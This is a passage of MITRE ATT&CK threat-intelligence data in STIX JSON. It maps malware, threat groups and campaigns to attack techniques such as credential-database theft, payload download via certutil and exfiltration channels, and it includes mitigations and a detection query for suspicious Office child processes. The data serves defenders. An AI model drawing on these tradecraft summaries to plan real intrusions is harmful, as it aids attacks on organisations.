2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"modified":"2020-03-17T02:54:39.760Z","description":"[ZeroT](https://attack.mitre.org/software/S0230) has obfuscated DLLs and functions using dummy API calls inserted between real instructions.(Citation: Proofpoint ZeroT Feb 2017)","relationship_type":"uses","source_ref":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47e2fc5c-3dab-411d-a402-0052d8e725d3","type":"relationship","created":"2019-06-24T13:38:13.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-08T21:11:48.068Z","description":"Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique. Use modern browsers with security features turned on.","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47e4d006-2685-4628-a46b-f6d9066f3585","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2019-06-24T17:08:51.713Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has conducted port scans on a host.(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47e6ea9a-cb80-49ba-8a72-bad2eafa7cd8","created":"2024-08-14T14:06:34.290Z","revoked":false,"external_references":[{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:06:34.290Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors used the built-in administrator account to move laterally using RDP and [Impacket](https://attack.mitre.org/software/S0357).(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47e9267e-e84d-43b6-992a-5f42d39c45bb","type":"relationship","created":"2020-05-27T18:25:52.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2020-06-25T13:59:09.949Z","description":"(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47f521b8-37e4-489d-b6eb-25f35de80aae","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"},{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-12T20:27:51.655Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has downloaded additional code and files from servers onto victims.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47f580c1-77ea-48a6-a280-71bbcb4707d0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-03-29T19:54:46.314Z","description":"(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"tool--33b9e38f-103c-412d-bdcf-904a91fff1e4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47f611f4-b9f0-42ef-9629-ee4a56e737ed","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather Registry values.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--98e8a977-3416-43aa-87fa-33e287e9c14c","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47f8da55-c38f-4cec-b1c6-241ecb3dd8b8","created":"2023-07-27T20:30:12.281Z","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-27T20:30:12.281Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has harvested the NTDS.DIT file and leveraged the [Impacket](https://attack.mitre.org/software/S0357) tool on the compromised domain controller to locally decrypt it.(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47fdcab0-5aca-4685-a2d8-8e743e3c4494","created":"2022-06-07T17:56:37.460Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ClearSky Siamesekitten August 2021","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022.","url":"https://www.clearskysec.com/siamesekitten/"},{"source_name":"Kaspersky Lyceum October 2021","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:43:29.341Z","description":"[Milan](https://attack.mitre.org/software/S1015) can encode files containing information about the targeted system.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)","relationship_type":"uses","source_ref":"malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4800e509-0653-4895-a9f0-e0b538592875","type":"relationship","created":"2021-02-10T18:41:29.215Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Ebury Oct 2017","url":"https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/","description":"Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}],"modified":"2021-02-10T18:41:29.215Z","description":"[Ebury](https://attack.mitre.org/software/S0377) has verified C2 domain ownership by decrypting the TXT record using an embedded RSA public key.(Citation: ESET Ebury Oct 2017)","relationship_type":"uses","source_ref":"malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48035d76-c565-41cd-bb47-8e2a98421e14","created":"2022-04-18T18:48:06.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:11:58.008Z","description":"Identify abnormal child processes spawned by applications commonly targeted by exploits, such as browsers or Office programs, particularly those launched with suspicious arguments or into unknown directories.\n\nExample, it is not expected behavior for print spool service to be executing discovery type processes. However, this is one example and could be any number of native or third party processes that are executing either unusual or unknown (potentially adversary brought) processes.\n\nNote:\n- Analytic 1, look for instances where Office Applications (e.g., Word, Excel, PowerPoint) are launched with suspicious parameters or from unusual locations\n- Analytic 2, look for abnormal child process creation by Office Applications especially when accompanied by suspicious command-line parameters\n\nAnalytic 1 - Office Application Process Execution\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND (Image= “\\winword.exe” OR Image= “\\excel.exe” OR Image= “*\\powerpnt.exe”) AND (CommandLine= “*macro*” OR CommandLine= “*automation*” OR CommandLine= “*shellcode*”) AND ParentCommandLine= “*open*”\n\nAnalytic 2 - Unusual Child Process Creation\n\n (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND (ParentImage= “\\winword.exe” OR ParentImage= “\\excel.exe” OR ParentImage= “\\powerpnt.exe”) AND (Image != “\\system32\\” OR Image != “*\\program files”)","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77","type":"relationship","created":"2017-05-31T21:33:27.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"},{"url":"https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf","description":"Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.","source_name":"evolution of pirpi"}],"modified":"2019-04-29T18:01:20.204Z","description":"A keylogging tool used by [APT3](https://attack.mitre.org/groups/G0022) gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.(Citation: Symantec Buckeye)(Citation: evolution of pirpi)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4806e7c3-c8df-477f-ac3b-819248878a79","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Bisonal July 2018","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-27T18:04:46.654Z","description":"[Bisonal](https://attack.mitre.org/software/S0268)'s dropper creates VBS scripts on the victim’s machine.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020) ","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4807dbdc-6bcb-4aed-96f4-a782551eaefe","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf","description":"Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.","source_name":"PTSecurity Cobalt Group Aug 2017"},{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","source_name":"PTSecurity Cobalt Dec 2016"},{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.","source_name":"Group IB Cobalt Aug 2017"}],"modified":"2019-07-26T23:38:34.296Z","description":"(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48106cb0-a9c8-4c68-b90a-8d517078d189","type":"relationship","created":"2019-01-30T18:58:03.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"}],"modified":"2019-04-22T19:48:08.974Z","description":"[Cannon](https://attack.mitre.org/software/S0351) exfiltrates collected data over email via SMTP/S and POP3/S C2 channels.(Citation: Unit42 Cannon Nov 2018)","relationship_type":"uses","source_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48118305-47d1-4803-9057-6be6b0d2187a","created":"2024-02-12T20:36:35.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Ensilo Darkgate 2018","description":"Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.","url":"https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:40:08.451Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) uses existing command and control channels to retrieve captured cryptocurrency wallet credentials.(Citation: Ensilo Darkgate 2018)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48132286-7b7d-42cf-956b-95c75eeff1e3","created":"2019-09-23T22:40:08.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.512Z","description":"[APT41](https://attack.mitre.org/groups/G0096) deployed Master Boot Record bootkits on Windows systems to hide their malware and maintain persistence on victim systems.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--48141016-3fc6-46af-9f93-b52439ed78ea","type":"relationship","created":"2020-05-26T16:17:59.620Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Rocke August 2018","url":"https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html","description":"Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."},{"source_name":"Unit 42 Rocke January 2019","url":"https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/","description":"Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."}],"modified":"2020-05-26T16:17:59.620Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) downloaded a file \"libprocesshider\", which could hide files on the target system.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--48148fb9-6a21-4c66-83e3-c3f6ef72d392","created":"2024-09-16T09:11:41.434Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:11:41.434Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) involved execution of `certutil.exe` via web shell to download the [DUSTPAN](https://attack.mitre.org/software/S1158) dropper.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--481c0cee-c977-430f-9f33-e5859b48be39","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:35.148Z","description":"[Mosquito](https://attack.mitre.org/software/S0256)'s installer searches the Registry and system to see if specific antivirus tools are installed on the system.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--481fedde-ac7d-4d1b-a70a-b90ccd7acc52","type":"relationship","created":"2021-10-17T15:10:00.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.603Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has used the ShowLocalGroupDetails command to identify administrator, user, and guest accounts on a compromised host.(Citation: TrendMicro Tonto Team October 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4826c1d5-4861-48bb-889d-c7d69dd5520e","type":"relationship","created":"2022-03-30T14:26:51.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.832Z","description":"Monitor executed commands and arguments that may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--4827d600-cf36-48c8-ba73-46d89d34143b","created":"2024-03-01T18:50:00.367Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-11T20:15:36.557Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used Perl scripts to enable the deployment of the THINSPOOL shell script dropper and for enumerating host data.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--48281b5d-ca6f-401e-bda1-24f6537dcf1d","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub QuasarRAT","url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can gather system information from the victim’s machine including the OS 